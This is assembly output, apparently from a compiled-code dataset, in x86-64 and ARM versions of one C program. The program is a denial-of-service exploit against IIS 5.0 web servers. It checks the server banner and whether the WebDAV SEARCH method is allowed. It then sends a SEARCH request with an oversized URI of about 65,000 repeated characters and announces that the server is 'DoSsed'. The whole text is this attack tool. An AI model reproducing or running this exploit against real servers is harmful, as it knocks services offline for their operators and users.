	.file	"extr_35.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"Error :Cudn't initiate winsock!"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"\nUsage : %s <I.P./Hostname>\n\n"
.LC2:
	.string	"error: can't resolve '%s'"
.LC3:
	.string	"\nChecking web server %s\n"
.LC4:
	.string	"GET / HTTP/1.0\r\n\n"
.LC5:
	.string	"IIS/5.0"
	.section	.rodata.str1.8
	.align 8
.LC6:
	.string	"\n\r----> %s is not running IIS 5.0! adios !\n"
	.align 8
.LC7:
	.string	"\n\r----> Aww rite! IIS 5.0 found on %s !\n"
	.section	.rodata.str1.1
.LC8:
	.string	"SEARCH / HTTP/1.0\r\n\n"
.LC9:
	.string	"HTTP/1.1 411 Length Required"
	.section	.rodata.str1.8
	.align 8
.LC10:
	.string	"\n\r----> METHOD SEARCH ALLOWED\r"
	.align 8
.LC11:
	.string	"\n----> Method SEARCH not Allowed ! adios..."
	.section	.rodata.str1.1
.LC12:
	.string	"error: can't create socket"
.LC13:
	.string	"Error:Cudn't Connect\r"
	.section	.rodata.str1.8
	.align 8
.LC14:
	.string	"SEARCH /%s HTTP/1.1\r\nHost: %s\rnContent-type: text/xml\r\nContent-Length: "
	.section	.rodata.str1.1
.LC15:
	.string	"%s%d\r\n\r\n"
.LC16:
	.string	"\r\nDoSsing the server...<pray>"
	.section	.rodata.str1.8
	.align 8
.LC17:
	.string	"Server is DoSsed! Now run !! F-B-eyee is after j00...\r"
	.section	.rodata.str1.1
.LC18:
	.string	"Server is prolly patched.\r"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r15
	.cfi_def_cfa_offset 16
	.cfi_offset 15, -16
	push	r14
	.cfi_def_cfa_offset 24
	.cfi_offset 14, -24
	push	r13
	.cfi_def_cfa_offset 32
	.cfi_offset 13, -32
	push	r12
	.cfi_def_cfa_offset 40
	.cfi_offset 12, -40
	push	rbp
	.cfi_def_cfa_offset 48
	.cfi_offset 6, -48
	push	rbx
	.cfi_def_cfa_offset 56
	.cfi_offset 3, -56
	lea	r11, -143360[rsp]
	.cfi_def_cfa 11, 143416
.LPSRL0:
	sub	rsp, 4096
	or	DWORD PTR [rsp], 0
	cmp	rsp, r11
	jne	.LPSRL0
	.cfi_def_cfa_register 7
	sub	rsp, 2584
	.cfi_def_cfa_offset 146000
	pxor	xmm0, xmm0
	mov	edx, 65519
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 145928[rsp], rax
	xor	eax, eax
	mov	ebp, edi
	mov	rbx, rsi
	lea	rdi, 400[rsp]
	xor	esi, esi
	movaps	XMMWORD PTR 384[rsp], xmm0
	call	memset@PLT
	movdqa	xmm0, XMMWORD PTR .LC19[rip]
	movabs	rax, 2829311659959669
	mov	QWORD PTR 368[rsp], rax
	xor	eax, eax
	movaps	XMMWORD PTR 240[rsp], xmm0
	movdqa	xmm0, XMMWORD PTR .LC20[rip]
	movaps	XMMWORD PTR 256[rsp], xmm0
	movdqa	xmm0, XMMWORD PTR .LC21[rip]
	movaps	XMMWORD PTR 272[rsp], xmm0
	movdqa	xmm0, XMMWORD PTR .LC22[rip]
	movaps	XMMWORD PTR 288[rsp], xmm0
	movdqa	xmm0, XMMWORD PTR .LC23[rip]
	movaps	XMMWORD PTR 304[rsp], xmm0
	movdqa	xmm0, XMMWORD PTR .LC24[rip]
	movaps	XMMWORD PTR 320[rsp], xmm0
	movdqa	xmm0, XMMWORD PTR .LC25[rip]
	movaps	XMMWORD PTR 336[rsp], xmm0
	movdqa	xmm0, XMMWORD PTR .LC26[rip]
	movaps	XMMWORD PTR 352[rsp], xmm0
	call	graphitte@PLT
	mov	rsi, rsp
	mov	edi, 257
	call	WSAStartup@PLT
	test	rax, rax
	jne	.L17
	cmp	ebp, 1
	jle	.L18
.L4:
	mov	rdi, QWORD PTR 8[rbx]
	call	gethostbyname@PLT
	mov	rsi, QWORD PTR 8[rbx]
	mov	rbp, rax
	test	rax, rax
	je	.L19
	lea	rdi, .LC3[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rsi, QWORD PTR 8[rbx]
	lea	rdi, .LC4[rip]
	call	funk@PLT
	lea	rsi, .LC5[rip]
	mov	rdi, rax
	call	strstr@PLT
	mov	rsi, QWORD PTR 8[rbx]
	test	rax, rax
	je	.L20
	lea	rdi, .LC7[rip]
	xor	eax, eax
	lea	r12, 16[rsp]
	call	printf@PLT
	mov	edx, 40
	mov	rdi, r12
	xor	eax, eax
	lea	rsi, .LC8[rip]
	call	sprintf@PLT
	mov	rsi, QWORD PTR 8[rbx]
	mov	rdi, r12
	call	funk@PLT
	lea	rsi, .LC9[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	je	.L8
	lea	rdi, .LC10[rip]
	call	puts@PLT
.L9:
	mov	edi, 80
	call	htons@PLT
	mov	edi, DWORD PTR AF_INET[rip]
	mov	esi, DWORD PTR SOCK_STREAM[rip]
	xor	edx, edx
	mov	DWORD PTR 12[rsp], eax
	mov	rax, QWORD PTR 0[rbp]
	mov	DWORD PTR 8[rsp], edi
	mov	eax, DWORD PTR [rax]
	mov	DWORD PTR 4[rsp], eax
	call	socket@PLT
	mov	ebp, eax
	cmp	eax, -1
	je	.L21
	lea	rsi, 4[rsp]
	mov	edx, 12
	mov	edi, eax
	call	connect@PLT
	add	eax, 1
	je	.L22
	lea	r13, 384[rsp]
	mov	edx, 65535
	lea	r12, 65920[rsp]
	mov	esi, 83
	mov	rdi, r13
	lea	r14, 128[rsp]
	mov	BYTE PTR 65919[rsp], 0
	lea	r15, 240[rsp]
	call	memset@PLT
	xor	esi, esi
	mov	edx, 80000
	mov	rdi, r12
	call	memset@PLT
	xor	esi, esi
	mov	edx, 100
	mov	rdi, r14
	call	memset@PLT
	mov	rcx, QWORD PTR 8[rbx]
	mov	rdx, r13
	xor	ebx, ebx
	or	r13, -1
	lea	rsi, .LC14[rip]
	mov	rdi, r12
	xor	eax, eax
	call	sprintf@PLT
	mov	rdi, r15
	mov	eax, ebx
	mov	rcx, r13
	repnz scasb
	mov	rdx, r12
	lea	rsi, .LC15[rip]
	mov	rdi, r12
	not	rcx
	sub	rcx, 1
	call	sprintf@PLT
	lea	rdi, .LC16[rip]
	call	puts@PLT
	mov	rdi, r12
	mov	eax, ebx
	mov	rcx, r13
	repnz scasb
	mov	rsi, r12
	mov	edi, ebp
	not	rcx
	lea	rdx, -1[rcx]
	xor	ecx, ecx
	call	send@PLT
	mov	rdi, r15
	mov	eax, ebx
	mov	rcx, r13
	repnz scasb
	mov	rsi, r15
	mov	edi, ebp
	not	rcx
	lea	rdx, -1[rcx]
	xor	ecx, ecx
	call	send@PLT
	xor	ecx, ecx
	mov	edx, 100
	mov	rsi, r14
	mov	edi, ebp
	call	recv@PLT
	cmp	BYTE PTR 128[rsp], 0
	je	.L23
	lea	rdi, .LC18[rip]
	call	puts@PLT
.L13:
	mov	edi, ebp
	call	closesocket@PLT
	jmp	.L7
.L18:
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC1[rip]
	xor	eax, eax
	call	printf@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L4
.L17:
	lea	rdi, .LC0[rip]
	xor	eax, eax
	call	printf@PLT
	xor	eax, eax
.L1:
	mov	rdx, QWORD PTR 145928[rsp]
	xor	rdx, QWORD PTR fs:40
	jne	.L24
	add	rsp, 145944
	.cfi_remember_state
	.cfi_def_cfa_offset 56
	pop	rbx
	.cfi_def_cfa_offset 48
	pop	rbp
	.cfi_def_cfa_offset 40
	pop	r12
	.cfi_def_cfa_offset 32
	pop	r13
	.cfi_def_cfa_offset 24
	pop	r14
	.cfi_def_cfa_offset 16
	pop	r15
	.cfi_def_cfa_offset 8
	ret
.L20:
	.cfi_restore_state
	lea	rdi, .LC6[rip]
	call	printf@PLT
.L7:
	xor	eax, eax
	call	WSACleanup@PLT
	mov	eax, 1
	jmp	.L1
.L23:
	lea	rdi, .LC17[rip]
	call	puts@PLT
	jmp	.L13
.L19:
	lea	rdi, .LC2[rip]
	xor	eax, eax
	call	printf@PLT
	mov	eax, 1
	jmp	.L1
.L8:
	lea	rdi, .LC11[rip]
	call	puts@PLT
	xor	edi, edi
	call	exit@PLT
	jmp	.L9
.L21:
	lea	rdi, .LC12[rip]
	xor	eax, eax
	call	printf@PLT
	mov	eax, 1
	jmp	.L1
.L22:
	lea	rdi, .LC13[rip]
	call	puts@PLT
	mov	eax, 1
	jmp	.L1
.L24:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	SOCK_STREAM,4,4
	.comm	AF_INET,4,4
	.section	.rodata.cst16,"aM",@progbits,16
	.align 16
.LC19:
	.quad	7311066695147732796
	.quad	3540459801591509874
	.align 16
.LC20:
	.quad	4326284953041121326
	.quad	7521981565278304871
	.align 16
.LC21:
	.quad	2338620986111386994
	.quad	4424569426363051384
	.align 16
.LC22:
	.quad	954237804999689250
	.quad	4498094867551304714
	.align 16
.LC23:
	.quad	8386658447324809741
	.quad	7594259013790081568
	.align 16
.LC24:
	.quad	7881702290479673459
	.quad	2336646318805492325
	.align 16
.LC25:
	.quad	948333612681356147
	.quad	7814153523140967434
	.align 16
.LC26:
	.quad	8303062315579346238
	.quad	8171062891604238693
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_35.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC1:
	.ascii	"Error :Cudn't initiate winsock!\000"
	.align	2
.LC2:
	.ascii	"\012Usage : %s <I.P./Hostname>\012\012\000"
	.align	2
.LC3:
	.ascii	"error: can't resolve '%s'\000"
	.align	2
.LC4:
	.ascii	"\012Checking web server %s\012\000"
	.align	2
.LC5:
	.ascii	"GET / HTTP/1.0\015\012\012\000"
	.align	2
.LC6:
	.ascii	"IIS/5.0\000"
	.align	2
.LC7:
	.ascii	"\012\015----> %s is not running IIS 5.0! adios !\012"
	.ascii	"\000"
	.align	2
.LC8:
	.ascii	"\012\015----> Aww rite! IIS 5.0 found on %s !\012\000"
	.align	2
.LC9:
	.ascii	"SEARCH / HTTP/1.0\015\012\012\000"
	.align	2
.LC10:
	.ascii	"HTTP/1.1 411 Length Required\000"
	.align	2
.LC11:
	.ascii	"\012\015----> METHOD SEARCH ALLOWED\015\000"
	.align	2
.LC12:
	.ascii	"\012----> Method SEARCH not Allowed ! adios...\000"
	.align	2
.LC13:
	.ascii	"error: can't create socket\000"
	.align	2
.LC14:
	.ascii	"Error:Cudn't Connect\015\000"
	.align	2
.LC15:
	.ascii	"SEARCH /%s HTTP/1.1\015\012Host: %s\015nContent-typ"
	.ascii	"e: text/xml\015\012Content-Length: \000"
	.align	2
.LC16:
	.ascii	"%s%d\015\012\015\012\000"
	.align	2
.LC17:
	.ascii	"\015\012DoSsing the server...<pray>\000"
	.align	2
.LC18:
	.ascii	"Server is DoSsed! Now run !! F-B-eyee is after j00."
	.ascii	"..\015\000"
	.align	2
.LC19:
	.ascii	"Server is prolly patched.\015\000"
	.align	2
.LC0:
	.ascii	"<?xml version=\"1.0\"?>\015\012<g:searchrequest xml"
	.ascii	"ns:g=\"DAV:\">\015\012<g:sql>\015\012Select \"DAV:d"
	.ascii	"isplayname\" from scope()\015\012</g:sql>\015\012</"
	.ascii	"g:searchrequest>\015\012\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC20:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 145904
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, lr}
	mov	r5, #0
	sub	sp, sp, #145408
	sub	sp, sp, #500
	ldr	ip, .L24
	add	r3, sp, #145408
	ldr	r2, .L24+4
	mov	r7, r0
	mov	r4, r1
	add	r0, sp, #368
	mov	r1, r5
	add	r3, r3, #492
	ldr	ip, [ip]
	str	ip, [r3]
	mov	ip,#0
	str	r5, [sp, #364]
	bl	memset
	add	r0, sp, #240
	mov	r2, #136
	ldr	r1, .L24+8
	sub	r0, r0, #12
	bl	memcpy
	bl	graphitte
	ldr	r0, .L24+12
	add	r1, sp, #12
	bl	WSAStartup
	subs	r6, r0, #0
	bne	.L17
	cmp	r7, #1
	ble	.L18
.L4:
	ldr	r0, [r4, #4]
	bl	gethostbyname
	subs	r5, r0, #0
	ldr	r1, [r4, #4]
	beq	.L19
	ldr	r0, .L24+16
	bl	printf
	ldr	r1, [r4, #4]
	ldr	r0, .L24+20
	bl	funk
	ldr	r1, .L24+24
	bl	strstr
	cmp	r0, #0
	ldr	r1, [r4, #4]
	beq	.L20
	ldr	r0, .L24+28
	bl	printf
	mov	r2, #40
	ldr	r1, .L24+32
	add	r0, sp, #28
	bl	sprintf
	ldr	r1, [r4, #4]
	add	r0, sp, #28
	bl	funk
	ldr	r1, .L24+36
	bl	strstr
	subs	r6, r0, #0
	beq	.L8
	ldr	r0, .L24+40
	bl	puts
.L9:
	mov	r0, #80
	bl	htons
	mov	r3, r0
	ldr	r2, [r5]
	ldr	r1, .L24+44
	ldr	r2, [r2]
	ldr	r0, [r1]
	ldr	r1, .L24+48
	str	r2, [sp, #16]
	ldr	r1, [r1]
	mov	r2, #0
	str	r3, [sp, #24]
	str	r0, [sp, #20]
	bl	socket
	cmn	r0, #1
	mov	r5, r0
	beq	.L21
	mov	r2, #12
	add	r1, sp, #16
	bl	connect
	cmn	r0, #1
	beq	.L22
	mov	r6, #0
	add	r3, sp, #63744
	mov	r1, #83
	ldr	r2, .L24+52
	add	r0, sp, #364
	add	r3, r3, #240
	strb	r6, [r3, #1915]
	bl	memset
	add	r0, sp, #65536
	mov	r1, r6
	ldr	r2, .L24+56
	add	r0, r0, #364
	bl	memset
	add	r3, sp, #228
	mov	r1, r6
	mov	r2, #100
	add	r0, sp, #128
	str	r3, [sp, #4]
	bl	memset
	add	r0, sp, #65536
	ldr	r3, [r4, #4]
	ldr	r1, .L24+60
	add	r2, sp, #364
	add	r0, r0, #364
	bl	sprintf
	ldr	r0, [sp, #4]
	bl	strlen
	add	r2, sp, #65536
	add	r2, r2, #364
	mov	r3, r0
	ldr	r1, .L24+64
	mov	r0, r2
	bl	sprintf
	ldr	r0, .L24+68
	bl	puts
	add	r0, sp, #65536
	add	r0, r0, #364
	bl	strlen
	add	r1, sp, #65536
	mov	r2, r0
	mov	r3, r6
	add	r1, r1, #364
	mov	r0, r5
	bl	send
	ldr	r0, [sp, #4]
	bl	strlen
	mov	r3, r6
	mov	r2, r0
	ldr	r1, [sp, #4]
	mov	r0, r5
	bl	send
	mov	r3, r6
	mov	r2, #100
	add	r1, sp, #128
	mov	r0, r5
	bl	recv
	ldrb	r3, [sp, #128]	@ zero_extendqisi2
	cmp	r3, r6
	ldreq	r0, .L24+72
	ldrne	r0, .L24+76
	bl	puts
	mov	r0, r5
	bl	closesocket
.L7:
	bl	WSACleanup
	mov	r0, #1
.L1:
	add	r3, sp, #145408
	ldr	r2, .L24
	add	r3, r3, #492
	ldr	r1, [r2]
	ldr	r2, [r3]
	eors	r1, r2, r1
	mov	r2, #0
	bne	.L23
	add	sp, sp, #145408
	add	sp, sp, #500
	@ sp needed
	pop	{r4, r5, r6, r7, pc}
.L18:
	ldr	r1, [r4]
	ldr	r0, .L24+80
	bl	printf
	mov	r0, r6
	bl	exit
	b	.L4
.L17:
	ldr	r0, .L24+84
	bl	printf
	mov	r0, r5
	b	.L1
.L20:
	ldr	r0, .L24+88
	bl	printf
	b	.L7
.L19:
	ldr	r0, .L24+92
	bl	printf
	mov	r0, #1
	b	.L1
.L8:
	ldr	r0, .L24+96
	bl	puts
	mov	r0, r6
	bl	exit
	b	.L9
.L21:
	ldr	r0, .L24+100
	bl	printf
	mov	r0, #1
	b	.L1
.L22:
	ldr	r0, .L24+104
	bl	puts
	mov	r0, #1
	b	.L1
.L23:
	bl	__stack_chk_fail
.L25:
	.align	2
.L24:
	.word	.LC20
	.word	65531
	.word	.LC0
	.word	257
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	AF_INET
	.word	SOCK_STREAM
	.word	65535
	.word	80000
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.word	.LC2
	.word	.LC1
	.word	.LC7
	.word	.LC3
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.size	main, .-main
	.comm	SOCK_STREAM,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
